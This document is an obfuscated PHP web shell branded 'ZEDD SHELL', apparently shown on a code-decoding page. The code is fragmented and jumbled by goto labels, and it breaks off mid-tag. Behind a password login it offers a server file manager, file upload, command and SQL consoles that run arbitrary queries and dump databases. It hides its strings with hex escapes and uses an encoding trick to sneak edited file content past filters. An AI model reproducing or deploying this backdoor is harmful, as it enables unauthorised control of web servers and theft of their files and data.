	<?php  if (!empty($host)) { try { $pdo = new PDO("\x6d\x79\163\x71\x6c\72\x68\157\163\164\x3d" . $host . "\x3b\x63\150\x61\x72\x73\145\x74\x3d\x75\164\146\x38\x3b" . $databaseStr, $user, $sandi, array(PDO::MYSQL_ATTR_INIT_COMMAND => "\123\105\124\x20\x4e\101\115\x45\123\40\47\x75\164\146\70\47")); $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC); $schematas = $pdo->query("\x53\105\114\105\103\124\40\x73\x63\x68\x65\155\x61\137\156\x61\x6d\145\x20\106\122\x4f\115\x20\151\x6e\x66\x6f\162\x6d\x61\164\151\x6f\x6e\137\x73\143\x68\x65\x6d\141\x2e\x73\x63\150\145\155\x61\164\x61"); print "\x3c\x66\x6f\x72\155\40\155\145\164\150\157\144\x3d\x22\x50\117\x53\x54\42\x3e\x3c\x69\x6e\160\165\164\x20\x74\x79\x70\x65\75\x22\150\x69\144\144\145\x6e\x22\40\156\141\155\145\x3d\42\x61\167\x61\154\x22\x20\166\141\154\165\x65\x3d\42\163\153\x6c\x22\x3e\x3c\x73\145\154\x65\143\164\40\x6e\x61\x6d\x65\x3d\x22\144\x61\164\141\x62\x61\163\145\42\x3e"; foreach ($schematas->fetchAll() as $schemaName) { print "\74\157\160\164\151\x6f\156" . ($database == $schemaName["\x73\x63\150\145\x6d\141\137\x6e\141\x6d\x65"] ? "\40\x73\x65\154\x65\x63\x74\145\144" : '') . "\x3e" . htmlspecialchars($schemaName["\163\x63\150\145\x6d\141\137\x6e\141\x6d\145"]) . "\x3c\57\157\160\164\x69\x6f\156\76"; } print "\x3c\x2f\163\x65\x6c\145\x63\164\76\40\74\151\156\160\165\164\40\x74\x79\160\145\x3d\42\163\165\142\155\x69\x74\x22\40\166\141\154\165\145\75\42\x47\x61\163\41\x22\76\74\x2f\146\x6f\162\x6d\76"; if (!empty($database)) { $tables = $pdo->prepare("\x53\x45\114\x45\103\124\x20\164\x61\142\x6c\x65\137\x6e\x61\155\x65\x20\x66\x72\157\x6d\40\x69\x6e\x66\x6f\162\x6d\x61\164\x69\157\156\137\163\x63\x68\x65\x6d\141\x2e\x74\x61\x62\154\145\163\x20\167\150\x65\x72\x65\x20\164\x61\142\154\145\137\163\143\x68\x65\155\x61\x3d\x3f"); $tables->execute(array($database)); $tables = $tables->fetchAll(); print "\74\x64\151\166\40\x73\x74\x79\x6c\x65\x3d\42\146\154\x6f\141\164\72\40\154\x65\x66\x74\x3b\x20\x77\x69\x64\164\150\x3a\40\x32\60\x25\x3b\x20\157\x76\145\x72\x66\154\x6f\167\72\x20\x61\x75\164\157\x3b\40\x62\157\162\x64\x65\x72\55\162\151\147\150\x74\x3a\x20\x31\160\x78\x20\x73\x6f\x6c\x69\x64\x20\x23\x39\x39\71\73\42\x3e"; print "\74\x61\x20\x68\x72\145\146\75\42\x6a\141\x76\141\x73\x63\x72\151\160\164\72\150\x61\154\141\155\141\x6e\50\x27\77\141\x77\141\x6c\x3d\x73\153\x6c\137\x64\47\x29\73\42\76\x21\x21\40\104\165\155\160\x20\x44\102\x20\41\41\x3c\x2f\x61\x3e\x3c\x68\x72\76"; foreach ($tables as $tableName) { $tableName = $tableName["\x74\x61\x62\x6c\145\137\156\x61\155\x65"]; print "\74\x61\40\150\162\x65\x66\75\x22\152\141\166\x61\x73\x63\x72\151\x70\x74\72\x68\141\154\141\x6d\x61\156\50\47\x3f\x61\x77\141\154\75\163\x6b\154\x26\x74\75" . urlencode(urlencode(kunci($tableName))) . "\47\x29\x22\x3e" . htmlspecialchars($tableName) . "\74\57\x61\76\x3c\142\x72\x3e"; } print "\74\57\x64\x69\166\x3e"; print "\74\144\x69\x76\x20\x73\164\171\x6c\145\75\x22\x66\154\157\141\x74\72\x20\x6c\145\146\164\x3b\x20\x70\x61\x64\x64\151\x6e\x67\55\x6c\x65\x66\164\72\40\x31\60\160\x78\73\x20\167\x69\144\x74\150\x3a\40\x37\x35\45\x3b\42\76"; if (isset($_POST["\164"]) && is_string($_POST["\164"]) && !empty($_POST["\x74"])) { $tableName = uraikan(urldecode($_POST["\x74"])); print "\x3c\163\x70\x61\156\40\143\x6c\x61\x73\163\75\42\161\141\x6c\x69\x6e\42\76\x54\141\142\154\x65\72\74\x2f\x73\160\141\156\x3e\x20" . htmlspecialchars($tableName) . "\40\50\x20\74\141\x20\x68\x72\145\146\x3d\x22\x6a\141\x76\141\x73\x63\162\x69\160\x74\x3a\150\x61\154\x61\155\x61\x6e\x28\x27\77\141\167\141\x6c\x3d\163\153\x6c\x5f\144\137\x74\x26\x74\75" . urlencode(urlencode(kunci($tableName))) . "\x27\51\42\76\x44\165\x6d\160\x3c\57\141\x3e\x20\51\x3c\x62\162\76"; $getColumns = $pdo->prepare("\x53\x45\x4c\105\x43\124\40\143\157\x6c\x75\155\156\x5f\156\x61\155\145\x20\x66\162\x6f\x6d\x20\151\x6e\146\x6f\x72\155\x61\164\x69\157\156\x5f\x73\x63\150\x65\155\141\56\143\157\154\x75\x6d\x6e\163\x20\167\150\x65\162\x65\40\164\141\142\x6c\x65\x5f\x73\x63\x68\145\x6d\x61\x3d\77\x20\x61\x6e\144\40\x74\x61\142\x6c\x65\x5f\156\141\155\x65\x3d\77"); $getColumns->execute(array($database, $tableName)); $columns = $getColumns->fetchAll(); if ($columns) { $dataCount = $pdo->query("\x53\105\114\105\103\x54\x20\143\157\165\156\x74\x28\60\x29\40\x41\123\x20\163\163\x20\146\162\157\155\x20\x60" . $tableName . "\x60"); $dataCount = (int) $dataCount->fetchColumn(); print "\x3c\163\160\x61\156\40\x63\154\141\x73\163\x3d\42\x71\x61\154\x69\156\42\x3e\x43\157\x75\156\x74\72\x3c\57\163\x70\141\156\x3e\x20" . $dataCount . "\x3c\x62\x72\76\x3c\142\x72\76"; $pages = ceil($dataCount / 100); $currentPage = isset($_POST["\x68\141\154\141\155\141\x6e"]) && is_numeric($_POST["\x68\x61\154\141\155\141\x6e"]) && $_POST["\x68\x61\154\x61\155\141\x6e"] >= 1 && $_POST["\150\x61\154\141\155\x61\156"] <= $pages ? (int) $_POST["\x68\x61\154\141\155\141\x6e"] : 1; for ($p = 1; $p <= $pages; $p++) { print "\x3c\x61\x20\163\164\171\154\145\x3d\x22" . ($currentPage == $p ? "\142\x61\143\x6b\147\162\x6f\x75\156\x64\72\x20\43\x34\x34\64\x3b" : '') . "\x6d\141\162\147\x69\x6e\55\x6c\145\146\x74\72\x20\x32\x70\x78\73\x20\155\x61\162\147\x69\156\55\142\x6f\164\164\x6f\x6d\72\40\65\160\170\73\x20\160\x61\144\144\151\156\147\x3a\40\62\160\x78\x20\x36\x70\x78\x3b\x20\142\x6f\162\x64\145\162\x3a\x20\x31\x70\x78\x20\163\x6f\x6c\151\x64\x20\43\101\103\x42\x37\65\64\73\x20\x74\145\x78\x74\x2d\x64\x65\x63\x6f\162\141\x74\151\x6f\x6e\x3a\x20\x6e\157\156\x65\x3b\x22\x20\x68\162\x65\x66\x3d\42\152\x61\x76\x61\x73\143\x72\151\x70\x74\x3a\x68\141\154\141\155\141\156\50\x27\77\x61\167\x61\154\75\163\153\154\x26\x74\x3d" . urlencode(urlencode(kunci($tableName))) . "\46\150\141\154\x61\x6d\x61\x6e\x3d" . $p . "\47\51\x3b\42\76" . $p . "\74\57\x61\76\40"; } print "\74\x62\x72\76\74\x62\162\76"; $start = 100 * ($currentPage - 1); $data = $pdo->query("\x53\105\114\x45\x43\124\x20\52\x20\x46\122\117\x4d\x20\140" . $tableName . "\140\40\114\111\115\x49\x54\x20" . $start . "\40\54\x20\x31\x30\60"); $data = $data->fetchAll(); print "\74\164\141\142\154\x65\76\74\x74\150\x65\x61\x64\76"; foreach ($columns as $columnInf) { print "\x3c\164\x68\76" . htmlspecialchars($columnInf["\x63\157\154\x75\x6d\x6e\x5f\156\141\155\x65"]) . "\x3c\57\x74\150\76"; } print "\x3c\57\x74\x68\145\x61\x64\76\74\164\142\157\x64\171\76"; foreach ($data as $row) { print "\x3c\164\162\76"; foreach ($row as $key => $val) { print "\74\x74\x64\76\x3c\144\151\x76\x3e" . $val . "\x3c\x2f\144\151\x76\76\x3c\x2f\x74\144\x3e"; } print "\74\57\x74\162\76"; } print "\x3c\57\164\162\76\74\57\164\142\x6f\144\171\76\x3c\57\x74\x61\142\x6c\x65\x3e"; } else { print "\124\141\x62\154\145\x20\156\157\164\x20\x66\157\x75\x6e\144\41"; } } else { if (isset($_POST["\145\x6d\x72"]) && is_string($_POST["\145\x6d\162"]) && !empty($_POST["\145\x6d\162"])) { $emr = uraikan(urldecode($_POST["\145\155\x72"])); print "\x3c\x73\x70\141\156\40\x63\x6c\x61\163\x73\75\x22\161\x61\154\151\x6e\42\76\123\x51\114\x20\x65\155\162\72\x3c\x2f\x73\x70\141\156\x3e\x20" . htmlspecialchars($emr) . "\x3c\x62\x72\76"; $data = $pdo->query($emr); $data = $data->fetchAll(); print "\74\164\141\x62\154\145\x3e\x3c\164\150\145\141\x64\x3e"; if (count($data) > 0) { print "\x3c\x74\x72\x3e"; foreach ($data[0] as $key => $val) { print "\74\x74\x68\76\74\x64\151\166\x3e" . $key . "\x3c\x2f\x64\x69\x76\76\74\x2f\164\150\x3e"; } print "\74\x2f\164\x72\x3e"; } print "\74\x2f\164\x68\145\141\x64\76\74\164\x62\157\x64\171\x3e"; foreach ($data as $row) { print "\74\164\x72\x3e"; foreach ($row as $key => $val) { print "\74\164\144\x3e\74\x64\x69\166\x3e" . $val . "\x3c\x2f\144\151\x76\76\x3c\x2f\164\x64\x3e"; } print "\x3c\x2f\x74\162\x3e"; } print "\x3c\57\x74\162\76\74\57\x74\x62\157\144\x79\76\74\57\164\x61\x62\x6c\x65\x3e"; } } print "\74\144\151\166\76\x3c\x74\145\170\x74\141\x72\145\x61\x20\151\x64\75\x22\163\153\154\x5f\x65\155\x72\42\76\x3c\57\164\145\x78\164\x61\162\x65\141\76\74\142\x75\164\164\x6f\156\40\x74\171\160\145\75\42\x62\x75\164\164\x6f\x6e\42\40\157\x6e\143\x6c\x69\x63\x6b\x3d\x22\x73\153\154\x5f\142\x61\x73\50\x29\73\42\76\x4b\x6c\151\153\74\x2f\142\x75\x74\x74\x6f\156\76\74\57\x64\x69\166\76"; print "\x3c\x2f\144\151\166\x3e"; print "\x3c\x64\x69\166\x20\163\x74\171\154\x65\x3d\42\x63\x6c\x65\x61\x72\x3a\40\142\x6f\164\150\73\42\x3e\x3c\57\144\151\166\x3e"; } } catch (Exception $e) { print $e->getMessage(); } } } else { if ($awal == "\x65\x64\x69\x74\x5f\x66\151\154\145" && isset($_POST["\146\141\171\x6c"]) && '' != trim($_POST["\x66\141\171\154"])) { $namaBerkas = basename(uraikan(urldecode(urldecode($_POST["\146\x61\x79\154"])))); $pemisah = substr($default_dir, strlen($default_dir) - 1) != "\57" && substr($namaBerkas, 0, 1) != "\57" ? "\x2f" : ''; if (is_file($default_dir . $pemisah . $namaBerkas) && is_readable($default_dir . $pemisah . $namaBerkas)) { $status = ''; if (isset($_POST["\x63\x6f\x6e\x74\x65\156\164"]) && isset($_POST["\x74\157\157\153"]) && $_POST["\x74\157\157\153"] != '' && isset($_SESSION["\x79\163\x5f\x74\x6f\157\153"]) && $_SESSION["\171\x73\x5f\164\x6f\157\x6b"] == $_POST["\164\157\157\153"] && is_writeable($default_dir . $pemisah . $namaBerkas)) { unset($_SESSION["\x79\x73\x5f\x74\x6f\x6f\153"]); $content = $_POST["\x63\x6f\x6e\164\145\156\164"]; $cc = array("\141", "\151", "\145", "\x73", "\x6c", "\142", "\x75", "\x6f", "\x70", "\x68", "\x28", "\x29", "\74", "\x3e", "\77", "\x3b", "\133", "\135", "\44"); foreach ($cc as $k1 => $v1) { $content = str_replace("\174\x3a" . $k1 . "\72\174", $v1, $content); } $faylAch = fopen($default_dir . $pemisah . $namaBerkas, "\167\53"); fwrite($faylAch, $content); fclose($faylAch); $status = "\x20\x3c\x73\x70\x61\x6e\x20\143\154\x61\163\163\75\47\x71\141\x6c\x69\x6e\47\x3e\x42\x65\162\x68\141\163\x69\154\40\x64\x69\x73\x69\155\160\141\156\41\x3c\57\163\x70\141\156\x3e"; } $oxuUrl = "\x3f\141\167\141\154\x3d\142\141\x63\141\137\146\x69\154\145\46\x66\x61\x79\154\x3d" . urlencode(urlencode(kunci($namaBerkas))) . "\x26\x62\x65\x72\153\141\x73\75" . urlencode(urlencode(kunci($default_dir))); $elaveBtn = is_writeable($default_dir . $pemisah . $namaBerkas) ? '' : "\40\144\x69\163\x61\x62\x6c\145\x64"; print "\74\144\x69\x76\x3e\x4e\141\155\x61\x20\106\x69\154\x65\x3a\40\x3c\x61\x20\143\154\141\x73\163\75\47\x71\x61\154\151\x6e\x27\x20\150\162\145\146\75\x27\x6a\x61\166\x61\x73\x63\x72\151\160\164\x3a\x68\141\x6c\x61\x6d\x61\156\x28\42{$oxuUrl}\x22\x29\47\76" . htmlspecialchars($namaBerkas) . "\74\57\141\x3e\74\142\162\57\x3e\74\x66\x6f\162\155\40\155\x65\164\x68\157\x64\x3d\47\x50\x4f\x53\x54\x27\40\x73\x74\x79\154\x65\75\x27\160\141\144\x64\x69\156\x67\72\x20\60\x3b\x20\155\x61\162\x67\151\156\x3a\x20\60\x3b\x27\76\74\142\165\164\x74\157\x6e\x20\164\171\x70\145\x3d\x27\163\x75\x62\155\151\x74\47\40\143\154\x61\163\163\x3d\47\142\164\156\47{$elaveBtn}\x3e\x20\123\x69\155\x70\141\156\40\x3c\57\x62\165\x74\x74\157\156\x3e\40\74\x62\165\164\164\157\x6e\x20\x74\x79\160\x65\75\x27\142\x75\164\164\x6f\x6e\x27\40\157\156\143\154\x69\x63\153\75\47\153\157\144\145\x28\x29\x27\76\40\x45\x6e\153\162\151\160\163\x69\x20\74\x2f\x62\165\x74\164\x6f\x6e\76\x20{$status}\74\x2f\144\x69\166\76"; print "\74\x69\156\x70\x75\164\40\x74\x79\160\x65\75\x27\x68\x69\x64\144\145\x6e\x27\40\166\141\x6c\x75\x65\x3d\47\145\x64\151\x74\x5f\x66\151\x6c\x65\x27\x20\156\x61\155\x65\75\47\141\167\141\154\x27\76\74\x69\156\160\165\164\x20\164\171\x70\x65\x3d\47\x68\x69\x64\x64\x65\x6e\x27\x20\x76\x61\154\x75\145\x3d\x27" . kunci($namaBerkas) . "\47\40\x6e\141\x6d\x65\x3d\47\146\x61\171\x6c\47\x3e\x3c\x69\156\160\x75\x74\40\x74\171\160\x65\75\47\150\x69\x64\144\145\156\47\x20\166\x61\x6c\x75\145\75\47" . urlencode(kunci($default_dir)) . "\47\x20\156\x61\x6d\145\x3d\47\x62\145\162\x6b\x61\163\x27\x3e\74\x69\156\160\165\x74\40\x74\x79\x70\x65\75\x27\x68\151\144\144\145\x6e\x27\x20\166\x61\x6c\165\145\x3d\47" . ambilBuat("\x79\163\x5f\164\x6f\x6f\x6b") . "\47\x20\156\x61\x6d\x65\75\47\164\x6f\157\153\47\76\x3c\x74\145\170\x74\x61\x72\x65\141\x20\156\141\155\x65\x3d\x27\x63\x6f\156\x74\x65\156\x74\47\x20\x63\154\x61\x73\163\x3d\x27\146\x69\x6c\x65\x5f\145\x64\151\x74\x27\76" . htmlspecialchars(file_get_contents($default_dir . $pemisah . $namaBerkas)) . "\74\x2f\164\x65\x78\x74\141\162\x65\x61\76\74\x2f\146\157\162\155\76"; } else { print "\x45\162\x72\157\x72\41\40" . htmlspecialchars($default_dir . $pemisah . $namaBerkas); } } else { if (is_dir($default_dir)) { if (is_readable($default_dir)) { $folderDalam = scandir($default_dir); foreach ($folderDalam as &$emelemnt) { $pemisah = substr($default_dir, strlen($default_dir) - 1) != "\x2f" && substr($emelemnt, 0, 1) != "\57" ? "\x2f" : ''; if (is_dir($default_dir . $pemisah . $emelemnt)) { $emelemnt = "\60" . $emelemnt; } else { $emelemnt = "\61" . $emelemnt; } } asort($folderDalam); print "\x3c\x74\141\x62\x6c\145\40\x63\x6c\141\163\163\75\47\x66\x4d\x61\156\141\x67\x65\x72\x27\40\163\x74\x79\154\x65\x3d\47\x77\151\144\164\x68\x3a\40\61\60\x30\45\73\47\x3e\74\x74\x68\x65\141\x64\76\x3c\164\x72\40\x63\x6c\141\x73\x73\75\x27\x71\141\x6c\151\156\x27\76\74\164\150\x3e\x73\74\x2f\x74\150\76\74\x74\x68\x3e\x46\151\154\x65\74\x2f\164\150\x3e\74\164\x68\x3e\x53\x69\172\145\74\x2f\x74\150\x3e\74\x74\150\x3e\x54\x61\156\147\147\141\x6c\x3c\57\164\150\x3e\74\x74\150\76\x4f\167\x6e\145\x72\x2f\x47\x72\x6f\165\x70\74\x2f\164\150\x3e\x3c\164\150\76\x50\145\x72\155\151\163\x73\151\x6f\156\163\x3c\x2f\164\x68\x3e\x3c\164\150\76\x41\x63\164\151\x6f\x6e\x73\x3c\x2f\x74\x68\x3e\x3c\x2f\164\162\76\x3c\x2f\x74\150\x65\x61\x64\76\74\164\x62\157\x64\x79\76"; foreach ($folderDalam as $element) { $url = ''; $element = substr($element, 1); $fileNamaLengkap = $default_dir . $pemisah . $element; $pemisah = substr($default_dir, strlen($default_dir) - 1) != "\x2f" && substr($element, 0, 1) != "\x2f" ? "\57" : ''; $adi = is_dir($fileNamaLengkap) ? "\x5b\x20{$element}\40\135" : $element; $classN = ''; if (is_dir($fileNamaLengkap)) { if ($element == "\x2e") { $url = "\77\x62\145\x72\x6b\x61\163\x3d" . urlencode(urlencode(kunci($default_dir))); } else { if ($element == "\x2e\56") { $yeniUrl = explode("\57", $default_dir); foreach (array_reverse($yeniUrl) as $j => $qq) { if (trim($qq) != '') { unset($yeniUrl[count($yeniUrl) - $j - 1]); break; } } $url = "\77\142\x65\162\x6b\141\x73\x3d" . urlencode(urlencode(kunci(implode("\57", $yeniUrl)))); } else { $url = "\77\x62\145\x72\x6b\141\x73\x3d" . urlencode(urlencode(kunci($fileNamaLengkap))); } } $classN = "\40\163\164\x79\154\x65\x3d\x27\146\x6f\x6e\x74\55\167\x65\x69\x67\x68\x74\x3a\40\x36\60\x30\73\47"; } else { $url = "\77\141\167\141\154\75\x62\141\143\141\137\x66\x69\154\145\x26\x66\141\x79\x6c\x3d" . urlencode(urlencode(kunci($element))) . "\46\x62\145\162\153\141\163\x3d" . urlencode(urlencode(kunci($default_dir))); } $fayldi = is_file($fileNamaLengkap); $isReadableColor = is_readable($fileNamaLengkap) && is_writeable($fileNamaLengkap); print "\74\164\x72\x3e\12\x9\x9\11\x9\11\x9\74\x74\144\x3e\74\57\x74\144\x3e\xa\11\x9\11\x9\11\11\74\164\x64\76\74\x61\40\x68\x72\x65\x66\x3d\42\x6a\x61\166\x61\x73\x63\162\151\160\x74\72\150\141\x6c\x61\x6d\141\156\50\47" . $url . "\47\x29\x22" . $classN . "\76" . htmlspecialchars($adi) . "\74\x2f\x61\76\x3c\57\164\x64\x3e\xa\11\11\x9\x9\x9\11\x3c\x74\144\x3e" . ($fayldi ? sizeFormat(filesize($fileNamaLengkap)) : '') . "\x3c\x2f\x74\x64\76\xa\x9\11\x9\x9\x9\11\x3c\x74\x64\x3e" . date("\144\x20\115\x20\x59\54\40\110\72\151", filectime($fileNamaLengkap)) . "\74\57\x74\144\x3e\xa\x9\x9\x9\11\x9\11\74\164\x64\x3e" . htmlspecialchars(fileowner($fileNamaLengkap)) . "\74\x2f\x74\x64\x3e\12\x9\11\x9\x9\11\11\74\x74\144" . ($isReadableColor ? "\x20\163\164\171\154\145\x3d\42\143\x6f\x6c\x6f\x72\72\x20\x67\162\145\x65\x6e\x3b\42" : '') . "\76" . substr(sprintf("\x25\x6f", fileperms($fileNamaLengkap)), -4) . "\x3c\x2f\x74\144\76\12\x9\x9\x9\11\11\11\74\164\x64\x3e"; if (is_file($fileNamaLengkap)) { print "\40\x3c\141\x20\150\162\x65\x66\75\42\x6a\x61\x76\x61\163\143\162\151\x70\x74\72\x68\x61\x6c\141\x6d\x61\x6e\x28\x27" . str_replace("\x62\141\x63\x61\x5f\x66\x69\154\x65", "\144\157\x77\156\154\157\x61\x64\x5f\146\151\x6c\x65", $url) . "\x27\x29\42" . $classN . "\x3e\x44\x6f\167\x6e\154\157\141\144\74\x2f\x61\x3e\40\x7c\x20" . ("\40\74\141\40\150\x72\145\146\x3d\x22\152\x61\x76\141\163\143\x72\x69\x70\x74\72\143\150\x61\x6e\147\145\106\x69\154\145\x4e\x61\x6d\x65\x28\47" . htmlspecialchars($adi) . "\x27\x20\54\x20\x27" . str_replace("\142\x61\143\x61\137\x66\x69\154\x65", "\x72\145\x6e\x61\155\145\137\146\151\154\x65", $url) . "\x27\x29\x3b\42" . $classN . "\76\x52\145\x6e\141\155\x65\x3c\x2f\141\76\40\174\40") . ("\x20\74\141\40\150\162\x65\x66\75\x22\152\x61\x76\141\x73\143\162\x69\x70\x74\x3a\x66\141\171\x6c\x53\x69\x66\151\162\x6c\141\50\x27" . str_replace("\x62\141\x63\x61\x5f\146\151\x6c\x65", "\x72\x65\163\x65\164\x5f\x66\151\x6c\145", $url) . "\x27\51\73\42" . $classN . "\x3e\113\x6f\163\157\156\147\74\x2f\x61\x3e\40\x7c\x20") . ("\40\x3c\x61\40\150\x72\x65\x66\75\x22\152\141\166\x61\163\143\162\x69\x70\x74\x3a\146\141\171\x6c\x53\151\154\50\x27" . str_replace("\x62\141\x63\141\137\146\151\x6c\145", "\150\141\160\165\x73\137\x66\x69\x6c\x65", $url) . "\47\51\x22" . $classN . "\76\104\145\154\x65\164\x65\74\x2f\141\76"); } else { if ($adi != "\133\x20\56\x20\135" && $adi != "\133\x20\56\x2e\x20\135") { print "\40\x3c\141\40\x68\x72\x65\146\75\42\x6a\141\166\x61\163\x63\x72\x69\160\164\x3a\x6b\x6f\155\160\162\x65\x73\x28\47" . urlencode(urlencode(kunci($fileNamaLengkap))) . "\x27\51\x22" . $classN . "\x3e\x5a\151\x70\74\57\x61\76\x20\174\40" . ("\40\x3c\141\40\150\162\145\146\75\x22\152\141\x76\141\163\x63\162\x69\160\164\x3a\163\151\154\120\x61\x70\x6b\141\x28\47" . urlencode(urlencode(kunci($fileNamaLengkap))) . "\x27\x29\42" . $classN . "\x3e\110\141\x70\165\163\x3c\57\x61\76"); } } print "\74\57\x74\x64\x3e\12\x9\11\x9\11\x9\74\x2f\x74\x72\76"; } } else { print "\x3c\144\151\x76\x20\163\x74\171\154\x65\x3d\x27\x6d\141\x72\x67\x69\x6e\x3a\x20\x31\x30\160\x78\40\x30\x70\x78\x3b\x27\x20\143\x6c\x61\163\163\x3d\47\161\141\x6c\151\156\47\76\120\x65\162\155\x69\163\x73\x69\157\x6e\x73\40\x64\x65\156\151\x64\145\x64\41\x3c\57\x64\151\166\76"; } } } } } } } goto nllyF; aY4FZ: ?>
')">Command</a><br>
<a href="javascript:halaman('?awal=skl');">SQL</a><br>

<form method="POST" enctype="multipart/form-data">
	<input type="hidden" name="awal" value="upl_file">
	<input type="hidden" name="berkas" value="<?php  goto iuLva; xKW7_: function tulisLah() { global $default_dir; $sonDir = array(); $umumBagikan = ''; $parse = explode("\57", $default_dir); $ii = 0; foreach ($parse as $bagikan) { $ii++; $umumBagikan .= $bagikan . "\x2f"; $sonDir[] = "\74\141\40\150\162\x65\146\75\x27\152\x61\x76\141\x73\143\162\151\x70\x74\x3a\150\x61\154\141\x6d\141\156\50\42\77\x62\x65\162\x6b\141\163\75" . urlencode(urlencode(kunci($umumBagikan))) . "\42\x29\x27\76" . htmlspecialchars(empty($bagikan) && $ii != count($parse) ? "\x2f" : $bagikan) . "\74\x2f\x61\x3e"; } $sonDir = implode("\57", $sonDir); print $sonDir . "\x26\x6e\142\163\x70\x3b\46\x6e\x62\163\160\73\x26\x6e\x62\x73\160\x3b\46\156\x62\163\160\73\x26\156\x62\x73\160\x3b\46\x6e\142\163\160\73\x28\40\74\141\x20\150\162\145\x66\75\42\x22\76\x52\x65\163\x65\164\74\x2f\x61\76\40\x7c\40\74\141\x20\x68\x72\145\146\75\x22\152\x61\x76\141\163\143\162\x69\x70\x74\72\x67\x6f\164\x6f\x28\x29\x22\76\107\157\40\164\157\74\57\x61\76\40\x29"; } goto dGims; UFLkn: $default_dir = str_replace("\x5c", "\x2f", $default_dir); goto solvS; pdDhL: ?>
<html>
<head>
<title>ZEDD SHELL</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<style>
body
{
	background-color: #222222;
	color: #D6D4D4;
	font-family: Lucida,Verdana;
	font-size: 12px;
}
.qalin
{
	text-decoration: none;
	color: #D6905E;
	font-weight: 600;
}
.success
{
	color: #9DB754;
}
.bad
{
	color: #B75654;
}
a
{
	color: #ACB754;
	text-decoration: none !important;
}
.fManager,.fManager tbody,.fManager tr
{
	padding: 0;
	border-collapse: collapse;
	margin: 0;
	font-size: 12px;
}
.fManager
{
	margin: 10px 0;
}
.fManager tbody tr:nth-child(2n+1)
{
	background: #331717;
}
.fManager tbody tr:nth-child(2n)
{
	background: #1C0C0C;
}
.fManager tbody tr:hover
{
	background: #000000;
}
.fManager thead th
{
	text-align: left;
}
.fManager thead tr
{
	background-color: #333333;
}
.fManager
{
	box-shadow: 1px 1px 1px 1px #333333;
}
.fManager thead th
{
	padding: 4px 3px;
}
.baca_file
{
	margin: 5px 0;
	padding: 2px;
	box-shadow: 1px 1px 1px 1px #333333;
	background-color: #E1E1E1;
	width: 100%;
	height: 400px;
	overflow: auto;
}
.btn
{
	border: 1px solid #ACAE40;
	background-color: #223B3B;
	color: #E1E1E1;
	padding: 1px 10px;
	cursor: pointer;
}
.btn:disabled
{
	border: 1px solid #848484;
	color: #848484;
	cursor: not-allowed;
}
.file_edit
{
	margin: 5px 0;
	padding: 2px;
	box-shadow: 1px 1px 1px 1px #333333;
	background-color: #E1E1E1;
	width: 100%;
	height: 400px;
	overflow: auto;
}
input, select, textarea
{
	background: transparent !important;
	color: #f6a56d;
	border: 1px solid #D6905E;
	padding: 5px;
}
table td
{
	border: 1px solid rgba(214, 144, 94, 0.7);
	min-width: 20px;
	padding-left: 5px;
	padding-right: 5px;
	max-width: 500px;
	color: #ffad6f;
	background: #292929;
}
table th
{
	border: 1px solid #D6905E;
	padding-left: 5px;
	padding-right: 5px;
	color: #ffad6f;
}
table td div
{
	overflow: auto;
	width: 100%;
	height: 100%;
	max-height: 100px;
}
</style>
</head>
<body>
<?php  goto dF3DB; GiKED: print "\x3c\150\x72\76"; goto TO_CV; h2V9_: $hashedPassword = "\x24\x32\x61\44\61\62\44\124\120\142\130\x4e\x6f\117\x54\x6b\154\153\150\x74\61\x67\x62\x35\x4f\x4d\x30\x31\56\67\x53\x75\x37\157\x47\104\120\x55\x71\131\x75\145\63\x37\x55\112\155\x7a\x38\x2f\x2e\155\x35\144\156\161\x49\107\154\66"; goto pBQw3; pBQw3: error_reporting(0); goto f6D1Y; nllyF: print "\74\57\x74\142\157\144\x79\x3e\x3c\57\x74\x61\142\154\145\76"; goto NTuYv; zFQLu: if (!$_SESSION["\154\157\147\x67\x65\x64\x49\x6e"]) { ?>
    <html>
    <head>
        <title>Login Administrator</title>
        <link rel="stylesheet" type="text/css" href="https://cdn.statically.io/gh/Zeddgansz/shell/main/styles.css">
    </head>
    <body>
        <div class="login-container">
            <h1 id="flashingText">shell zedd</h1>
            <form method="post">
                <input type="password" name="password">
                <br>
                <input type="submit" name="submit" value="Login"><br>
            </form>
            <p id="emailLink"> <a href="mailto:[email protected]">[email protected]</a></p>
        </div>
    </body>
    </html>
    <?php  die; } else { echo "\74\160\x3e\x4c\x6f\x67\151\156\x20\163\165\143\143\145\x73\x73\146\165\x6c\x21\74\x2f\x70\x3e"; } goto OUK0a; FocuE: print "\74\x73\x70\141\156\40\x63\x6c\x61\163\x73\x3d\47\x71\x61\154\x69\156\x27\76\104\151\x73\x61\142\x6c\145\x20\146\x75\x6e\143\x74\x69\157\x6e\163\x3a\x3c\x2f\x73\x70\141\x6e\76\40" . (implode("\54\40", $nami) == '' ? "\x3c\163\160\141\156\x20\143\x6c\141\x73\163\x3d\x27\x73\165\143\x63\x65\x73\163\47\x3e\x4e\117\x4e\x45\x20\x3a\51" : "\74\x73\x70\x61\x6e\x20\143\154\141\163\163\x3d\47\142\141\x64\47\76" . implode("\x2c\x20", $nami)) . "\74\x2f\x73\x70\x61\x6e\76\74\142\x72\57\76"; goto RyvPc; Oe4lN: ?>
&zf=" + berkas)
	}
}
function kode()
{
	var vall = document.getElementsByClassName('file_edit')[0].value;
	var repp = ['a','i','e','s','l','b','u','o','p','h',"\\(","\\)","\\<","\\>","\\?","\\;","\\[","\\]","\\$"];
	for(var s in repp)
	{
		var h = repp[s];
		vall = vall.replace(new RegExp(h, 'g') , '|:'+s+':|');
	}

	document.getElementsByClassName('file_edit')[0].value = vall;
}

document.getElementById("emr_et_atash").addEventListener("keyup", function(event)
{
	event.preventDefault();
	if (event.keyCode === 13)
	{
		sistemKom();
	}
});
</script>
</body>
</htm

Did this file decode correctly?

Original Code

